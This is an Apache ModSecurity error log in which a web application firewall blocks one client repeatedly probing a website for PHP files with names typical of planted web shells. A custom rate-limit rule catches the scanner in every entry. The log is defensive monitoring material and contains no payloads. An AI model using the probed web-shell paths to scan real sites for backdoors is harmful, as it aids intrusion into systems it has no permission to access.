[Tue Mar 17 09:29:58.482550 2026] [:error] [pid 15013:tid 15091] [client 72.146.42.181:32836] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "abiullZc-p7DonmJmm2r0gAAAg4"]
[Tue Mar 17 09:30:10.187944 2026] [:error] [pid 45916:tid 45964] [client 72.146.42.181:19052] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "abiuoriS53PnClk_C9BMDgAAAEI"]
[Tue Mar 17 09:30:11.295049 2026] [:error] [pid 45915:tid 45941] [client 72.146.42.181:38225] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "abiuo5h7U84ydzcrcnc9iAAAAAw"]
[Tue Mar 17 09:30:12.187314 2026] [:error] [pid 45915:tid 45940] [client 72.146.42.181:12832] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "abiupJh7U84ydzcrcnc9jQAAAAs"]
[Tue Mar 17 09:30:12.905753 2026] [:error] [pid 45915:tid 45938] [client 72.146.42.181:10986] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "abiupJh7U84ydzcrcnc9kAAAAAk"]
[Tue Mar 17 09:30:13.594254 2026] [:error] [pid 45915:tid 45943] [client 72.146.42.181:29224] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hckpe.php"] [unique_id "abiupZh7U84ydzcrcnc9lAAAAA4"]
[Tue Mar 17 09:30:15.107178 2026] [:error] [pid 22541:tid 22546] [client 72.146.42.181:35530] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hckpe.php"] [unique_id "abiup6S6JNY1-CTsTA9I_wAAAQA"]
[Tue Mar 17 09:30:16.159790 2026] [:error] [pid 45915:tid 45930] [client 72.146.42.181:38250] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hckpe.php"] [unique_id "abiuqJh7U84ydzcrcnc9mgAAAAE"]
[Tue Mar 17 09:30:17.364928 2026] [:error] [pid 45915:tid 45940] [client 72.146.42.181:31846] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hckpe.php"] [unique_id "abiuqZh7U84ydzcrcnc9nAAAAAs"]
[Tue Mar 17 09:30:18.371951 2026] [:error] [pid 15011:tid 15067] [client 72.146.42.181:15723] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ht.php"] [unique_id "abiuqsNtgHlAHiPlDyoXvAAAAdI"]
[Tue Mar 17 09:30:18.902724 2026] [:error] [pid 45915:tid 45944] [client 72.146.42.181:35550] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ht.php"] [unique_id "abiuqph7U84ydzcrcnc9pAAAAA8"]
[Tue Mar 17 09:30:20.142019 2026] [:error] [pid 45915:tid 45953] [client 72.146.42.181:15741] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ht.php"] [unique_id "abiurJh7U84ydzcrcnc9qAAAABg"]
[Tue Mar 17 09:30:21.658349 2026] [:error] [pid 45915:tid 45936] [client 72.146.42.181:15734] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ht.php"] [unique_id "abiurZh7U84ydzcrcnc9sAAAAAc"]
[Tue Mar 17 09:30:23.321573 2026] [:error] [pid 45915:tid 45932] [client 72.146.42.181:37253] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sd.php"] [unique_id "abiur5h7U84ydzcrcnc9uQAAAAM"]
[Tue Mar 17 09:30:27.683734 2026] [:error] [pid 46020:tid 46033] [client 72.146.42.181:31850] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sd.php"] [unique_id "abius3-nCcd9BdzGdLdM4gAAAMs"]
[Tue Mar 17 09:30:28.675644 2026] [:error] [pid 45917:tid 45990] [client 72.146.42.181:35573] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sd.php"] [unique_id "abiutBMMhmeqL5fT_he3XwAAAIE"]
[Tue Mar 17 09:30:30.252274 2026] [:error] [pid 45915:tid 45944] [client 72.146.42.181:17713] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sd.php"] [unique_id "abiutph7U84ydzcrcnc9ygAAAA8"]
[Tue Mar 17 09:30:31.288961 2026] [:error] [pid 45915:tid 45939] [client 72.146.42.181:17264] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog.php"] [unique_id "abiut5h7U84ydzcrcnc90wAAAAo"]
[Tue Mar 17 09:30:32.250979 2026] [:error] [pid 22541:tid 22561] [client 72.146.42.181:30235] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog.php"] [unique_id "abiuuKS6JNY1-CTsTA9JEAAAAQ8"]
[Tue Mar 17 09:30:33.805103 2026] [:error] [pid 45916:tid 45977] [client 72.146.42.181:23983] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog.php"] [unique_id "abiuubiS53PnClk_C9BMIgAAAE8"]
[Tue Mar 17 09:30:35.611850 2026] [:error] [pid 15162:tid 15181] [client 72.146.42.181:30286] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog.php"] [unique_id "abiuu7kCW4399PnBfYSfjAAAAk4"]
[Tue Mar 17 09:30:37.439116 2026] [:error] [pid 45916:tid 45966] [client 72.146.42.181:30290] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "abiuvbiS53PnClk_C9BMJwAAAEQ"]
[Tue Mar 17 09:30:38.326562 2026] [:error] [pid 15011:tid 15065] [client 72.146.42.181:23063] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "abiuvsNtgHlAHiPlDyoXvgAAAdA"]
[Tue Mar 17 09:30:39.306341 2026] [:error] [pid 45916:tid 45964] [client 72.146.42.181:30249] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "abiuv7iS53PnClk_C9BMKwAAAEI"]
[Tue Mar 17 09:30:40.755876 2026] [:error] [pid 14817:tid 14831] [client 72.146.42.181:30212] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "abiuwOBWVgTpR3dKOga26wAAAUU"]
[Tue Mar 17 09:30:42.163447 2026] [:error] [pid 15011:tid 15066] [client 72.146.42.181:15694] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "abiuwsNtgHlAHiPlDyoXxQAAAdE"]
[Tue Mar 17 09:30:46.803884 2026] [:error] [pid 45915:tid 45944] [client 72.146.42.181:30259] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "abiuxph7U84ydzcrcnc95gAAAA8"]
[Tue Mar 17 09:30:51.095553 2026] [:error] [pid 22541:tid 22553] [client 72.146.42.181:48453] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "abiuy6S6JNY1-CTsTA9JGgAAAQc"]
[Tue Mar 17 09:30:52.900488 2026] [:error] [pid 45916:tid 45986] [client 72.146.42.181:38222] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "abiuzLiS53PnClk_C9BMSwAAAFg"]
[Tue Mar 17 09:30:55.613437 2026] [:error] [pid 45917:tid 46002] [client 72.146.42.181:16204] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iindv.php"] [unique_id "abiuzxMMhmeqL5fT_he3ZgAAAI0"]
[Tue Mar 17 09:30:56.930901 2026] [:error] [pid 22541:tid 22556] [client 72.146.42.181:17724] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iindv.php"] [unique_id "abiu0KS6JNY1-CTsTA9JHQAAAQo"]
[Tue Mar 17 09:30:58.656491 2026] [:error] [pid 45915:tid 45932] [client 72.146.42.181:23963] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iindv.php"] [unique_id "abiu0ph7U84ydzcrcnc9_AAAAAM"]
[Tue Mar 17 09:30:59.729856 2026] [:error] [pid 15013:tid 15087] [client 72.146.42.181:23095] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iindv.php"] [unique_id "abiu01Zc-p7DonmJmm2r8AAAAgo"]
[Tue Mar 17 09:31:01.330967 2026] [:error] [pid 22541:tid 22568] [client 72.146.42.181:17242] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sqaoi.php"] [unique_id "abiu1aS6JNY1-CTsTA9JIwAAARY"]
[Tue Mar 17 09:31:02.108462 2026] [:error] [pid 14817:tid 14850] [client 72.146.42.181:47333] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sqaoi.php"] [unique_id "abiu1uBWVgTpR3dKOga29QAAAVg"]
[Tue Mar 17 09:31:03.249470 2026] [:error] [pid 15162:tid 15187] [client 72.146.42.181:23075] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sqaoi.php"] [unique_id "abiu17kCW4399PnBfYSfkgAAAlQ"]
[Tue Mar 17 09:31:05.324393 2026] [:error] [pid 45916:tid 45974] [client 72.146.42.181:17679] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sqaoi.php"] [unique_id "abiu2biS53PnClk_C9BMWwAAAEw"]
[Tue Mar 17 09:31:06.056003 2026] [:error] [pid 45916:tid 45982] [client 72.146.42.181:10989] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "abiu2riS53PnClk_C9BMXQAAAFQ"]
[Tue Mar 17 09:31:06.797998 2026] [:error] [pid 45915:tid 45940] [client 72.146.42.181:54476] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "abiu2ph7U84ydzcrcnc-CwAAAAs"]
[Tue Mar 17 09:31:07.505410 2026] [:error] [pid 15162:tid 15167] [client 72.146.42.181:23091] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "abiu27kCW4399PnBfYSfkwAAAkA"]
[Tue Mar 17 09:31:08.236180 2026] [:error] [pid 45916:tid 45979] [client 72.146.42.181:54525] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "abiu3LiS53PnClk_C9BMXwAAAFE"]
[Tue Mar 17 09:31:17.606576 2026] [:error] [pid 22541:tid 22546] [client 72.146.42.181:17726] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "abiu5aS6JNY1-CTsTA9JOwAAAQA"]
[Tue Mar 17 09:31:18.971856 2026] [:error] [pid 14817:tid 14842] [client 72.146.42.181:31323] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "abiu5uBWVgTpR3dKOga2-gAAAVA"]
[Tue Mar 17 09:31:19.937726 2026] [:error] [pid 45915:tid 45945] [client 72.146.42.181:10976] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "abiu55h7U84ydzcrcnc-FwAAABA"]
[Tue Mar 17 09:31:20.641821 2026] [:error] [pid 45915:tid 45941] [client 72.146.42.181:17256] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "abiu6Jh7U84ydzcrcnc-HQAAAAw"]
[Tue Mar 17 09:31:21.579028 2026] [:error] [pid 45916:tid 45973] [client 72.146.42.181:31353] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kllib.php"] [unique_id "abiu6biS53PnClk_C9BMfAAAAEs"]
[Tue Mar 17 09:31:22.540331 2026] [:error] [pid 14817:tid 14832] [client 72.146.42.181:15737] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kllib.php"] [unique_id "abiu6uBWVgTpR3dKOga3AgAAAUY"]
[Tue Mar 17 09:31:23.396608 2026] [:error] [pid 45916:tid 45971] [client 72.146.42.181:37265] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kllib.php"] [unique_id "abiu67iS53PnClk_C9BMhAAAAEk"]
[Tue Mar 17 09:31:24.139608 2026] [:error] [pid 14817:tid 14837] [client 72.146.42.181:25039] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kllib.php"] [unique_id "abiu7OBWVgTpR3dKOga3BgAAAUs"]
[Tue Mar 17 09:31:24.895147 2026] [:error] [pid 15013:tid 15088] [client 72.146.42.181:31325] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aki.php"] [unique_id "abiu7FZc-p7DonmJmm2sBgAAAgs"]
[Tue Mar 17 09:31:25.532789 2026] [:error] [pid 15013:tid 15080] [client 72.146.42.181:30252] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aki.php"] [unique_id "abiu7VZc-p7DonmJmm2sCAAAAgM"]
[Tue Mar 17 09:31:26.411040 2026] [:error] [pid 22541:tid 22549] [client 72.146.42.181:15702] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aki.php"] [unique_id "abiu7qS6JNY1-CTsTA9JQwAAAQM"]
[Tue Mar 17 09:31:27.416538 2026] [:error] [pid 45915:tid 45943] [client 72.146.42.181:10947] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aki.php"] [unique_id "abiu75h7U84ydzcrcnc-KQAAAA4"]
[Tue Mar 17 09:31:29.059964 2026] [:error] [pid 14817:tid 14845] [client 72.146.42.181:54483] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "abiu8eBWVgTpR3dKOga3EQAAAVM"]
[Tue Mar 17 09:31:32.156562 2026] [:error] [pid 14817:tid 14838] [client 72.146.42.181:26686] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "abiu9OBWVgTpR3dKOga3FQAAAUw"]
[Tue Mar 17 09:31:34.145994 2026] [:error] [pid 14817:tid 14849] [client 72.146.42.181:54453] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "abiu9uBWVgTpR3dKOga3GwAAAVc"]
